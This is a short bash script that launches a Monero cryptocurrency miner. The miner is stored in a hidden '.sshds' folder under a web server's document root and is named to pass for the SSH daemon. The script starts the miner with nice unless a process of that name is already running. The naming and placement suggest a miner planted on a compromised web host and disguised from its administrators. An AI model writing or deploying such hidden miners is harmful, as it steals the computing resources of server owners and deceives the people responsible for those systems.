#!/bin/bash if ! pidof sshds >/dev/null; then nice /var/www/html/.sshds/sshds $* else echo "Monero miner is already running in the background. Refusing to run another one." echo "Run \"killall sshds\" or \"sudo killall sshds\" if you want to remove background miner first." fi